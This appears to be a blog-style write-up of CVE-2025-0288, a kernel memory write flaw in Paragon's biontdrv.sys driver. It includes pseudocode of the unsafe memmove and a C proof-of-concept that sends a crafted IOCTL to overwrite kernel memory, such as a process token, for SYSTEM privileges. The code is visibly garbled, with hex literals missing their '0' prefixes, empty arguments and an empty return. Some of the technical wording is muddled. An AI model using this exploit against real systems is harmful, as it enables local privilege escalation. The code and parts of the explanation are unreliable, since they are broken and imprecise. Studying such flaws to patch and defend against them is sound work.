*Affected Products: Paragon Hard Disk Manager and other Paragon Software products (Windows)*
*Vulnerability: Arbitrary Kernel Memory Write in biontdrv.sys*
*CVSS Score: 8.8 (High)*

Introduction

Researchers recently discovered CVE-2025-0288, a serious privilege escalation bug in several Paragon Software products’ driver file biontdrv.sys. This vulnerability lets local attackers write to *any* location in kernel memory. Because this driver runs with SYSTEM privileges, exploiting this flaw means the attacker can take full control of a Windows system.

This article breaks down how CVE-2025-0288 works, how it can be exploited, and provides code examples. All content here is unique, explained simply, and referenced with relevant external resources.

What Is biontdrv.sys and Why Does It Matter?

biontdrv.sys is a kernel-mode driver installed by several Paragon Software utilities (e.g., Hard Disk Manager, Partition Manager). As a Windows kernel driver, it interfaces directly with the OS at the highest privilege level (ring SYSTEM access).

A mistake in the memmove-based input handling inside this driver lets program code supplied by a non-admin user overwrite any location in kernel memory.

Impact:

The memmove() Vulnerability

Inside the driver’s IOCTL (DeviceIoControl) handler, there’s an unsafe use of the C function memmove:

memmove(destination, user_buffer, length);

The problem?

length is also user-controlled

There’s no validation that destination points to a safe memory area, or that length is sane.

Pseudocode Sketch (Vulnerable Rue)

NTSTATUS DeviceIoControl(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
) {
    // ... previous code ...
    CopyRequest* req = (CopyRequest*)Irp->AssociatedIrp.SystemBuffer;
    memmove(req->dst_address, req->src_data, req->length);  // Unsafe!
    // ... rest of code ...
}

Exploitation

Any standard user program can open a handle to the driver and send a heap-crafted IOCTL request. By specifying a kernel address (such as the current process’s token privileges) as the destination, and attacker data as the payload, arbitrary kernel memory can be written.

This allows the attacker, for example, to replace their access token with a SYSTEM one, escalating their privileges.

C code snippet (simplified)

#include <Windows.h>
#include <stdio.h>

#define IOCTL_ARBITRARY_MEMMOVE x9C402580  // Example IOCTL, check with reverse engineering

struct {
    PVOID dst_address;
    BYTE src_data[32];
    SIZE_T length;
} req;

int main() {
    HANDLE hDriver = CreateFileA(
        "\\\\.\\biontdrv",
        GENERIC_READ | GENERIC_WRITE,
        , NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("Could not open driver handle.\n");
        return 1;
    }

    // Example: Overwrite current process token privileges
    req.dst_address = (PVOID)xFFFFF800xxxxxxxx; // Kernel address you want to write
    memset(req.src_data, x41, sizeof(req.src_data)); // Fill with 'A's
    req.length = sizeof(req.src_data);

    DWORD bytesReturned;
    if (!DeviceIoControl(hDriver,
                         IOCTL_ARBITRARY_MEMMOVE,
                         &req, sizeof(req),
                         NULL, ,
                         &bytesReturned, NULL))
    {
        printf("DeviceIoControl failed: %lu\n", GetLastError());
        return 1;
    }

    printf("Memory written!\n");
    CloseHandle(hDriver);
    return ;
}

Note:

You must determine the real IOCTL code by reverse engineering your biontdrv.sys.

- Getting the dst_address right (e.g., pointing to process eprocess’s token field) is required for privilege escalation.

References

- Paragon Software - Official Website
- Mitre CVE Record for CVE-2025-0288
- Kernel exploitation basics – IOCTL abusing
- Windows 10 EPROCESS TOKEN Privilege Escalation

Conclusion

CVE-2025-0288 highlights why input validation in kernel drivers is *critical*. Its exploitation is straightforward and can be done with a few lines of code. Regularly update and audit third-party drivers—anyone with low privilege could become SYSTEM if this bug exists on your system.


*Stay safe, keep your software up to date, and always practice secure coding—especially in the kernel!*

---

Timeline

Published on: 03/03/2025 17:15:13 UTC
Last modified on: 04/14/2025 21:15:17 UTC